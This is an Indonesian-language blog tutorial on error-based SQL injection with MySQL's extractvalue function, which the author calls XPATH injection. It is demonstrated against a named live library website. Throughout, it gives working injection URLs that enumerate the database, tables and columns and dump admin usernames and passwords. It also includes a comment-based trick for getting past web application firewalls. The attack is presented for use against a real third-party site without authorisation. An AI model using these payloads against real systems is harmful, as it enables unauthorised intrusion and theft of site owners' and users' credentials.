-->
Search here and hit enter....

XPATH Injection Using Extractvalue

Xpath Injection Extractvalue

Kali ini kita akan membahas suatu teknik dari bermacam-macam teknik tentang XPATH Injection yaitu Extractvalue. Serangan untuk menyuntikkan kode atau query melalui parameter. Info lebih lengkap mengenai XPATH Injection bisa kalian baca di sini. Hal ini dilakukan setelah mendapat pernyataan error "The used SELECT statements have a different number of columns" pada saat kita menyuntikkan perintah "union select". Agar lebih jelas, di sini saya mempunyai live target: "http://edgartownlibrary.org/article.php?id=41".

Setelah mengetahui jumlah columnnya dengan perintah order by dan terbukti berjumlah 4, saya pun melakukan perintah union select untuk mencari angka ajaibnya. Tapi alhasil muncul pesan seperti di atas tadi. Karena ada kata different number of columns yang artinya jumlah kolom yang berbeda, saya mencoba terus menambah angka sambil mengira-ngira jumlah kolomnya. Tapi itu sia-sia, bahkan sampai angka 20 saya tetap tidak menemukan angka ajaibnya. Dari situlah saya mencari cara dan menemukan solusinya menggunakan XPATH Injection Extractvalue. Meskipun ini merupakan Error Based, setidaknya target kita mendapatkan data-data rahasia website seperti username dan password admin tetap akan terlaksana meskipun ada sedikit kekurangan.

Querynya sebenarnya cukup simple seperti ini: and extractvalue(0x3a,concat(0x3a,version())).

Kita bebas merubah versionnya dengan perintah database() user() dan sebagainya. Sedikit tips jika ada WAF, tambahkan /**_**/ setelah statementnya. Seperti database/**_**/().

Jadi query kita menjadi seperti ini:

http://edgartownlibrary.org/article.php?id=-41 and extractvalue(0x3a,concat(0x3a,database()))--

Begini hasilnya seperti dibawah ini.

Image hasil database

Itu adalah nama dari database pada websitenya. Selanjutnya kita lihat table pada databasenya. Querynya seperti ini:

and extractvalue(0x3a,concat(0x3a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))-- -

Di sini saya menggunakan limit 0,1. Karena tidak semua tablenya bisa langsung diprint semua. Jadi untuk mengetahui table databasenya satu-satu kita bisa ubah di limitnya.

Setelah mencoba cari table yang saya kira memuat info tentang admin, akhirnya ketemu di limit 20,1. Seperti ini hasilnya.

Image Table Admin

Selanjutnya tinggal kita lihat isi dari table tersebut. Querynya seperti ini:

and extractvalue(0x3a,concat(0x3a,(select concat(column_name) from information_schema.columns where table_name=nama_tablenya limit 0,1)))-- -

Nama table ubah ke mysql char. Silahkan gunakan add ons hackbar untuk merubahya. Seperti ini hasil dari convert char mysql table "wafm2_users": CHAR(119, 97, 102, 109, 50, 95, 117, 115, 101, 114, 115).
Sehingga sekarang querynya menjadi:

http://edgartownlibrary.org/article.php?id=-41 and extractvalue(0x3a,concat(0x3a,(select concat(column_name) from information_schema.columns where table_name=CHAR(119, 97, 102, 109, 50, 95, 117, 115, 101, 114, 115) limit 0,1)))-- -

Pada limit 1,1 saya menemukan username dan pada limit 2,1 saya menemukan password. Sekarang tinggal kita dump satu persatu. Kenapa tidak satu sekaligus? Karena jumlah kata yang dapat diprint memiliki keterbatasan. Kemungkinan akan ada beberapa kata yang tertinggal. Dan itu berakibat fatal.

Selanjutnya kita dump data, querynya seperti ini:

http://edgartownlibrary.org/article.php?id=-41 and extractvalue(0x3a,concat(0x3a,(select concat(username) from wafm2_users)))-- -

Lakukan hal yang sama untuk mengetahui password lalu lihat hasilnya.

Begitulah cara melakukan XPATH Injection menggunakan extractvalue. Semoga artikel ini dapat memberi solusi mengingat banyak pertanyaan di forum-forum diskusi yang saya temukan tentang mengatasi pesan error "The used SELECT statements have a different number of columns".

Sekian, jika ada kebingungan bisa ditanyakan di kolom komentar.
Click to Comments